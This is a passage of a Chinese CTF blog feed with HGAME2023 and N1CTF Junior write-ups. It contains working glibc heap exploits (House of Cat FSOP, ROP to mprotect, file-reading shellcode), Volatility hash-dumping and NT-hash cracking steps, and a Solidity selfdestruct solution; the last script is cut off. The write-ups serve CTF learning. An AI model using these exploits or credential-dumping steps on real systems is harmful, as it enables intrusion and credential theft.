class="headerlink" title="4nswer’s gift"></a>4nswer’s gift</h3><p>在malloc比较大的空间时，内存空间是mmap得到的，跟libc的偏移是固定可计算的。gift是把分配到的内存地址覆盖<code>_IO_list_all</code>。House of Cat</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line"><span class="comment">#p=process(&#x27;./vuln&#x27;)</span></span><br><span class="line">p=connect(<span class="string">&#x27;week-4.hgame.lwsec.cn&#x27;</span>,<span class="number">31604</span>)</span><br><span class="line">elf=ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc=ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">b&#x27;like this: &#x27;</span>)</span><br><span class="line">_IO_list_all=<span class="built_in">int</span>(p.recv(<span class="number">14</span>),<span class="number">16</span>)</span><br><span class="line">libc_base=_IO_list_all-<span class="number">2061920</span></span><br><span class="line">info(<span class="built_in">hex</span>(libc_base))</span><br><span class="line">libc.address=libc_base</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;gift?\n&#x27;</span>,<span class="string">b&#x27;1048576&#x27;</span>)</span><br><span class="line">heap_base=libc_base-<span class="number">1064960</span></span><br><span class="line">heap5=heap_base+<span class="number">0x10</span></span><br><span class="line">heap3=heap_base+<span class="number">0x200</span></span><br><span class="line"></span><br><span class="line">pop_rdi=libc_base+<span class="number">0x23ba5</span></span><br><span class="line">pop_rsi=libc_base+<span class="number">0x251fe</span></span><br><span class="line">pop_rdx_rbx=libc_base+<span class="number">0x8bbb9</span></span><br><span class="line">pop_r12_r13_r14_r15=libc_base+<span class="number">0x23b9e</span></span><br><span class="line">roppayload=p64(pop_rdi)+p64(heap_base)+p64(pop_rsi)+p64(<span class="number">0x8000</span>)+p64(pop_rdx_rbx)+p64(<span class="number">7</span>)+p64(<span class="number">0</span>)+p64(libc.sym[<span class="string">&#x27;mprotect&#x27;</span>])+p64(heap3+<span class="number">0x200</span>)</span><br><span class="line">orw=<span class="string">b&#x27;\xb8flagPH\x89\xe71\xf61\xc0\x04\x02\x0f\x05\x89\xc7H\x89\xe6f\xb8\x01\x011\xd2f\x89\xc2f\x01\xc61\xc0\x0f\x051\xfff\xff\xc7f\xff\xc71\xc0\xfe\xc0\x0f\x05&#x27;</span></span><br><span class="line">payload=flat(&#123;</span><br><span class="line"><span class="number">0xa0</span>:heap3+<span class="number">0x138</span>,</span><br><span class="line"><span class="number">0xa8</span>:p64(pop_rdi),</span><br><span class="line"><span class="number">0x130</span>:roppayload,</span><br><span class="line"><span class="number">0x200</span>:orw</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line">call_addr=libc_base+<span class="number">0x41b1d</span></span><br><span class="line">fake_io_addr=heap5 <span class="comment"># 伪造的fake_IO结构体的地址</span></span><br><span class="line">next_chain = <span class="number">0</span></span><br><span class="line">fake_IO_FILE=p64(heap5)         <span class="comment">#_flags=rdi</span></span><br><span class="line">fake_IO_FILE+=p64(<span class="number">0</span>)*<span class="number">7</span></span><br><span class="line">fake_IO_FILE +=p64(<span class="number">1</span>)+p64(<span class="number">2</span>) <span class="comment"># rcx!=0(FSOP)</span></span><br><span class="line">fake_IO_FILE +=p64(heap3)<span class="comment">#_IO_backup_base=rdx</span></span><br><span class="line">fake_IO_FILE +=p64(call_addr)<span class="comment">#_IO_save_end=call addr(call setcontext/system)</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0x68</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(<span class="number">0</span>)  <span class="comment"># _chain</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0x88</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(heap_base+<span class="number">0x1000</span>)  <span class="comment"># _lock = a writable address</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xa0</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE +=p64(fake_io_addr+<span class="number">0x30</span>)<span class="comment">#_wide_data,rax1_addr</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xc0</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(<span class="number">1</span>) <span class="comment">#mode=1</span></span><br><span class="line">fake_IO_FILE = fake_IO_FILE.ljust(<span class="number">0xd8</span>, <span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">fake_IO_FILE += p64(libc_base+<span class="number">0x1f30a0</span>+<span class="number">0x30</span>)  <span class="comment"># vtable=IO_wfile_jumps+0x10</span></span><br><span class="line">fake_IO_FILE +=p64(<span class="number">0</span>)*<span class="number">6</span></span><br><span class="line">fake_IO_FILE += p64(fake_io_addr+<span class="number">0x40</span>)  <span class="comment"># rax2_addr</span></span><br><span class="line"><span class="comment">#fake_IO_FILE.rjust(0x200,b&#x27;\x00&#x27;)</span></span><br><span class="line"></span><br><span class="line">buf=flat(&#123;</span><br><span class="line"><span class="number">0</span>:fake_IO_FILE,</span><br><span class="line"><span class="number">0x1f0</span>:payload</span><br><span class="line">&#125;)</span><br><span class="line"></span><br><span class="line">p.sendafter(<span class="string">b&#x27;gitf?\n&#x27;</span>,buf)</span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure><h2 id="crypto"><a href="#crypto" class="headerlink" title="crypto"></a>crypto</h2><h3 id="LLLCG"><a href="#LLLCG" class="headerlink" title="LLLCG"></a>LLLCG</h3><p>题目数据有问题，直接long_to_bytes(list[1]&#x2F;&#x2F;list[0])</p><h2 id="misc"><a href="#misc" class="headerlink" title="misc"></a>misc</h2><h3 id="ezWin"><a href="#ezWin" class="headerlink" title="ezWin"></a>ezWin</h3><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">python vol.py <span class="operator">-f</span> ..\..\HGAME2023\week4\misc\ezWin\win10_22h2_19045.<span class="number">2486</span>.vmem windows.envars.Envars | findstr <span class="string">&quot;hgame&quot;</span></span><br><span class="line"></span><br><span class="line">python vol.py <span class="operator">-f</span> ..\..\HGAME2023\week4\misc\ezWin\win10_22h2_19045.<span class="number">2486</span>.vmem windows.hashdump</span><br><span class="line"></span><br><span class="line">python vol.py <span class="operator">-f</span> ..\..\HGAME2023\week4\misc\ezWin\win10_22h2_19045.<span class="number">2486</span>.vmem windows.pslist</span><br></pre></td></tr></table></figure><p>得到7zFM.exe的pid 7584</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python vol.py <span class="literal">-o</span> ./dump <span class="operator">-f</span> ..\..\HGAME2023\week4\misc\ezWin\win10_22h2_19045.<span class="number">2486</span>.vmem windows.dumpfiles <span class="literal">--pid</span>=<span class="number">7584</span></span><br></pre></td></tr></table></figure><p>得到file.0xd00641b5ba70.0xd00641180e30.DataSectionObject.flag.7z.dat</p><p>按7z格式打开，密码把刚才得到的nthash扔进<a href="https://www.cmd5.com/">https://www.cmd5.com/</a> 就是了</p><h2 id="blockchain"><a href="#blockchain" class="headerlink" title="blockchain"></a>blockchain</h2><p>需要计算最后部署的chall合约地址。deployer部署Transfer2合约是create，Transfer2合约部署chall合约是create2，算一下就行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">contract Hacker&#123;</span><br><span class="line">    function addressFromCreate(address _origin, uint _nonce) public pure returns (address) &#123;</span><br><span class="line">        bytes memory data;</span><br><span class="line">        if (_nonce == 0x00)          data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), _origin, bytes1(0x80));</span><br><span class="line">        else if (_nonce &lt;= 0x7f)     data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), _origin, uint8(_nonce));</span><br><span class="line">        else if (_nonce &lt;= 0xff)     data = abi.encodePacked(bytes1(0xd7), bytes1(0x94), _origin, bytes1(0x81), uint8(_nonce));</span><br><span class="line">        else if (_nonce &lt;= 0xffff)   data = abi.encodePacked(bytes1(0xd8), bytes1(0x94), _origin, bytes1(0x82), uint16(_nonce));</span><br><span class="line">        else if (_nonce &lt;= 0xffffff) data = abi.encodePacked(bytes1(0xd9), bytes1(0x94), _origin, bytes1(0x83), uint24(_nonce));</span><br><span class="line">        else                         data = abi.encodePacked(bytes1(0xda), bytes1(0x94), _origin, bytes1(0x84), uint32(_nonce));</span><br><span class="line">        return address(uint160(uint256(keccak256(data))));</span><br><span class="line">    &#125;</span><br><span class="line">    function addressFromCreate2(address _origin, bytes32 _salt, bytes memory _code) public pure returns (address) &#123;</span><br><span class="line">        return address(uint160(uint256(keccak256(abi.encodePacked(bytes1(0xff), address(_origin), _salt, keccak256(_code))))));</span><br><span class="line">    &#125;</span><br><span class="line">    function hack(address deployer) public&#123;</span><br><span class="line">        address contractAddr=addressFromCreate(deployer, 0);</span><br><span class="line">        bytes memory code = &quot;`\x80`@R4\x80\x15`\x0fW`\x00\x80\xfd[Pg\x06\xf0[Y\xd3\xb2\x00\x00G\x10`,W`\x00\x80T`\xff\x19\x16`\x01\x17\x90U[`\x83\x80a\x00:`\x009`\x00\xf3\xfe`\x80`@R4\x80\x15`\x0fW`\x00\x80\xfd[P`\x046\x10`(W`\x005`\xe0\x1c\x80c\x89\x0e\xbah\x14`-W[`\x00\x80\xfd[`\x00T`9\x90`\xff\x16\x81V[`@Q\x90\x15\x15\x81R` \x01`@Q\x80\x91\x03\x90\xf3\xfe\xa2dipfsX\&quot;\x12 \xc0\xaf\xce:x\xfc\xc6\x0f\xe5\xcb\x04-\xb9\xc8\xca\xe1\x0edk?\xcd/\x90_\xa1%\x14^\xeb\xdf\x04\x98dsolcC\x00\x08\x11\x003&quot;;</span><br><span class="line">        address challAddr=addressFromCreate2(contractAddr, keccak256(&quot;HGAME 2023&quot;), code);</span><br><span class="line">        selfdestruct(payable(challAddr));</span><br><span class="line">    &#125;</span><br><span class="line">    constructor() payable&#123;&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">HGAME2023 week4 writeup by 没有头猪</summary>
    
    
    
    <category term="writeups" scheme="https://zqy.ink/categories/writeups/"/>
    
    
    <category term="CTF" scheme="https://zqy.ink/tags/CTF/"/>
    
    <category term="HGAME2023" scheme="https://zqy.ink/tags/HGAME2023/"/>
    
    <category term="wp" scheme="https://zqy.ink/tags/wp/"/>
    
  </entry>
  
  <entry>
    <title>N1CTF Junior 2023 Pwn Machine赛题复现</title>
    <link href="https://zqy.ink/2023/02/09/n1ctf_junior_machine/"/>
    <id>https://zqy.ink/2023/02/09/n1ctf_junior_machine/</id>
    <published>2023-02-09T20:43:50.000Z</published>
    <updated>2025-11-14T08:20:36.879Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Machine（似乎）是赛中零解题，赛中我光顾着别的题几乎没看，赛后再看发现其实蛮简单的，就是写起exp来有点麻烦（可能是我经验不足的问题（（</p><h2 id="题目环境"><a href="#题目环境" class="headerlink" title="题目环境"></a>题目环境</h2><p>GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Arch:     amd64-64-little</span><br><span class="line">RELRO:    Full RELRO</span><br><span class="line">Stack:    Canary found</span><br><span class="line">NX:       NX enabled</span><br><span class="line">PIE:      PIE enabled</span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"> line  CODE  JT   JF      K</span><br><span class="line">=================================</span><br><span class="line"> 0000: 0x20 0x00 0x00 0x00000004  A = arch</span><br><span class="line"> 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012</span><br><span class="line"> 0002: 0x20 0x00 0x00 0x00000000  A = sys_number</span><br><span class="line"> 0003: 0x35 0x08 0x00 0x40000000  if (A &gt;= 0x40000000) goto 0012</span><br><span class="line"> 0004: 0x15 0x07 0x00 0x0000009d  if (A == prctl) goto 0012</span><br><span class="line"> 0005: 0x15 0x06 0x00 0x00000038  if (A == clone) goto 0012</span><br><span class="line"> 0006: 0x15 0x05 0x00 0x00000039  if (A == fork) goto 0012</span><br><span class="line"> 0007: 0x15 0x04 0x00 0x0000003a  if (A == vfork) goto 0012</span><br><span class="line"> 0008: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0012</span><br><span class="line"> 0009: 0x15 0x02 0x00 0x00000065  if (A == ptrace) goto 0012</span><br><span class="line"> 0010: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0012</span><br><span class="line"> 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW</span><br><span class="line"> 0012: 0x06 0x00 0x00 0x00000000  return KILL</span><br></pre></td></tr></table></figure><h2 id="题目分析"><a href="#题目分析" class="headerlink" title="题目分析"></a>题目分析</h2><p>程序实现了一个比较容易分析的虚拟机，指令包括寄存器间的算术运算、内存读写、向寄存器中写立即数、堆块的申请与释放、堆块前16字节的读取。程序在堆上申请空间存储虚拟机内存和我们输入的code。内存大小可选0-0x10000，代码大小可选0-0x1000。虚拟机运行结束后程序显式调用exit(0)。</p><p>程序对指令的index做了较为严格的检查，并且不存在UAF漏洞。申请得到的堆块会全部memset为0。考虑到做的这些检查，和不存在堆块写指令，推断应该是哪里（很有可能是写指令）的检查没有做到位，或出现type confusion等问题。最终找到漏洞点：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> __fastcall <span class="title function_">vmrun</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="comment">/* ... */</span></span><br><span class="line">    <span class="keyword">while</span> (pc&lt;(<span class="type">unsigned</span> <span class="type">int</span>)codeSize)&#123;</span><br><span class="line">        opcode=pc++;</span><br><span class="line">        <span class="keyword">switch</span>(code[opcode])&#123;</span><br><span class="line">                <span class="comment">/* ... */</span></span><br><span class="line">                <span class="keyword">case</span> <span class="string">&#x27;[&#x27;</span>:</span><br><span class="line">                v41 = *(_WORD *)&amp;code[pc];</span><br><span class="line">                pc += <span class="number">2</span>;</span><br><span class="line">                    v26 = pc++;</span><br><span class="line">                    <span class="keyword">if</span> ( (<span class="type">unsigned</span> __int16)(<span class="number">8</span> * v41) &gt;= (<span class="type">unsigned</span> <span class="type">int</span>)memSize || code[v26] &gt; <span class="number">3u</span> )</span><br><span class="line">                      printerr(<span class="string">&quot;Index Error!&quot;</span>);</span><br><span class="line">                    mem[v41] = regs[code[v26]];</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                <span class="comment">/* ... */</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注意到8*v41是unsigned __int16类型，而我们申请的memSize为0-0x10000，也就是说只要指定memSize为0x10000，这个判断必定为false（即便memSize更小一些，这里也可能出现算术溢出，感觉memSize能设0x10000是题目降难度了）。这里的mem是<code>_QWORD[]</code>类型，为虚拟机内存。由此，我们可以控制下标v41为0-0xffff间的数，从而实现<code>mem</code>到<code>mem+8*0xffff</code>地址上的写。这个范围已经足够覆盖mem后面用户申请的堆块范围，即可以实现堆上任意写。到这里，利用思路就变得清晰起来：</p><p>unsorted bin泄露libc–large bin泄露堆地址–large bin attack覆盖<code>_IO_list_all</code>–FSOP</p><p>需要注意的是，为了读取free后的堆块数据，我们需要构造chunk overlap。因为有堆上任意写，我们可以通过覆盖size域轻易实现这一点。具体步骤如下：</p><ol><li>申请大堆块chunk0</li><li>申请被攻击堆块chunk1</li><li>更改chunk0的size域使其正好包括chunk0和chunk1</li><li>申请两个大堆块chunk3和chunk4，大小正好填满chunk0和chunk1的范围，分割的位置是我们要读的位置</li><li>释放chunk1，通过chunk4即可读取chunk1的数据</li></ol><p>然后只要写一段虚拟机的shellcode实现我们的攻击思路即可，FSOP我利用的链子是House of Cat，可以直接控制rdx转到setcontext的gadget，然后rop到mprotect使堆权限为RWX，然后ret2shellcode。比较麻烦的是，泄露的地址都在虚拟机里，没有输出出来，因此我们需要用虚拟机指令完成指令的计算、结构体的伪造等。</p><h2 id="exp"><a href="#exp" class="headerlink" title="exp"></a>exp</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>,os=<span class="string">&#x27;linux&#x27;</span>)</span><br><span class="line">p=process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">libc=ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line">codeSize=<span class="number">0x1000</span></span><br><span class="line">memSize=<span class="number">0x10000</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">malloc</span>(<span class="params">idx, size</span>):</span><br><span class="line"><span class="keyword">return</span> <span class="string">b&#x27;?&#x27;</span>+p8(idx)+p16(size)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">free</span>(<span class="params">idx</span>):</span><br><span class="line"><span class="keyword">return</span> <span class="string">b&#x27;!&#x27;</span>+p8(idx)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">writemem</span>(<span class="params">idx, reg</span>):</span><br><span class="line"><span class="keyword">assert</span>(<span class="number">0</span>&lt;=reg&lt;=<span class="number">3</span>)</span><br><span class="line"><span class="keyword">assert</span>(idx&lt;=<span class="number">0xffff</span>)</span><br><span class="line"><span class="keyword">return</span> <span class="string">b&#x27;[&#x27;</span>+p16(idx)+p8(reg)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">writeheap</span>(<span class="params">idx, reg</span>):</span><br><span class="line"><span class="keyword">assert</span>(<span class="number">0</span>&lt;=reg&lt;=<span class="number">3</span>)</span><br><span class="line">idx=idx+memSize//<span class="number">8</span>+<span class="number">1</span></span><br><span class="line"><span class="keyword">return</span> writemem(idx, reg)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">readmem</span>(<span class="params">idx, reg</span>):</span><br><span class="line"><span class="keyword">assert</span>(<span class="number">0</span>&lt;=reg&lt;=<span class="number">3</span>)</span><br><span class="line"><span class="keyword">assert</span>(idx&lt;memSize&gt;&gt;<span class="number">3</span>)</span><br><span class="line"><span class="keyword">return</span> <span class="string">b&#x27;]&#x27;</span>+p8(reg)+p16(idx)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">calc</span>(<span class="params">op, dst, src1, src2</span>):</span><br><span class="line"><span class="keyword">assert</span>(op <span class="keyword">in</span> [<span class="string">&#x27;+&#x27;</span>,<span class="string">&#x27;-&#x27;</span>,<span class="string">&#x27;*&#x27;</span>,<span class="string">&#x27;/&#x27;</span>,<span class="string">&#x27;^&#x27;</span>,<span class="string">&#x27;&amp;&#x27;</span>,<span class="string">&#x27;&lt;&#x27;</span>,<span class="string">&#x27;&gt;&#x27;</span>])</span><br><span class="line"><span class="keyword">return</span> op.encode()+p8(dst)+p8(src1)+p8(src2)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">writereg</span>(<span class="params">reg, content</span>):</span><br><span class="line"><span class="keyword">assert</span>(<span class="built_in">len</span>(content)==<span class="number">8</span>)</span><br><span class="line"><span class="keyword">assert</span>(<span class="number">0</span>&lt;=reg&lt;=<span class="number">3</span>)</span><br><span class="line"><span class="keyword">return</span> <span class="string">b&#x27;~&#x27;</span>+p8(reg)+content</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">clearreg</span>(<span class="params">reg</span>):</span><br><span class="line"><span class="keyword">assert</span>(<span class="number">0</span>&lt;=reg&lt;=<span class="number">3</span>)</span><br><span class="line"><span class="keyword">return</span> calc(<span class="string">&#x27;^&#x27;</span>,reg,reg,reg)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">readheap</span>(<span class="params">idx, reg, offset</span>):</span><br><span class="line"><span class="keyword">assert</span>(<span class="number">0</span>&lt;=reg&lt;=<span class="number">3</span>)</span><br><span class="line"><span class="keyword">assert</span>(<span class="number">0</span>&lt;=idx&lt;=<span class="number">6</span>)</span><br><span class="line"><span class="keyword">assert</span>(offset==<span class="number">0</span> <span class="keyword">or</span> offset==<span class="number">1</span>)</span><br><span class="line"><span class="keyword">return</span> <span class="string">b&#x27;`&#x27;</span>+p8(reg)+p8(idx)+p8(offset)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">writememblock</span>(<span class="params">idx, content</span>):</span><br><span class="line"><span class="comment">#uses reg3!!!</span></span><br><span class="line">content=content.ljust((<span class="built_in">len</span>(content)//<span class="number">8</span>+(<span class="number">1</span> <span class="keyword">if</span> <span class="built_in">len</span>(content)%<span class="number">8</span> <span class="keyword">else</span> <span class="number">0</span>))*<span class="number">8</span>,<span class="string">b&#x27;\x00&#x27;</span>)</span><br><span class="line">result=<span class="string">b&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(content)//<span class="number">8</span>):</span><br><span class="line">result+=writereg(<span class="number">3</span>, content[i*<span class="number">8</span>:i*<span class="number">8</span>+<span class="number">8</span>])</span><br><span class="line">result+=writemem(idx+i, <span class="number">3</span>)</span><br><span class="line"><span class="keyword">return</span> result</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">writeheapblock</span>(<span class="params">idx, content</span>):</span><br><span class="line"><span class="keyword">return</span> writememblock(idx+memSize//<span class="number">8</span>+<span class="number">1</span>, content)</span><br><span class="line"></span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;size of your code?\n&#x27;</span>,<span class="built_in">str</span>(codeSize).encode())</span><br><span class="line">p.sendlineafter(<span class="string">b&#x27;size of your memory?\n&#x27;</span>,<span class="built_in">str</span>(memSize).encode())</span><br><span class="line"></span><br><span class="line">sc=<span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">;leak libc</span></span><br><span class="line"><span class="string">malloc(0,0x420)</span></span><br><span class="line"><span class="string">malloc(6,0x10)</span></span><br><span class="line"><span class="string">malloc(2,0x420)</span></span><br><span class="line"><span class="string">malloc(6,0x10)</span></span><br><span class="line"><span class="string">writereg(0,p64(0x430+0x430+0x20+1))</span></span><br><span class="line"><span class="string">writeheap(0,0)</span></span><br><span class="line"><span class="string">free(0)</span></span><br><span class="line"><span class="string">malloc(0,0x420+0x20)</span></span><br><span class="line"><span class="string">malloc(1,0x420)</span></span><br><span class="line"><span class="string">free(2)</span></span><br><span class="line"><span class="string">readheap(1,0,0)</span></span><br><span class="line"><span class="string">writereg(1,p64(2202848))</span></span><br><span class="line"><span class="string">calc(&#x27;-&#x27;,0,0,1)</span></span><br><span class="line"><span class="string">writemem(0,0)</span></span><br><span class="line"><span class="string">malloc(2,0x420)</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line">total_heap_size=<span class="number">0x430</span>*<span class="number">2</span>+<span class="number">0x20</span>*<span 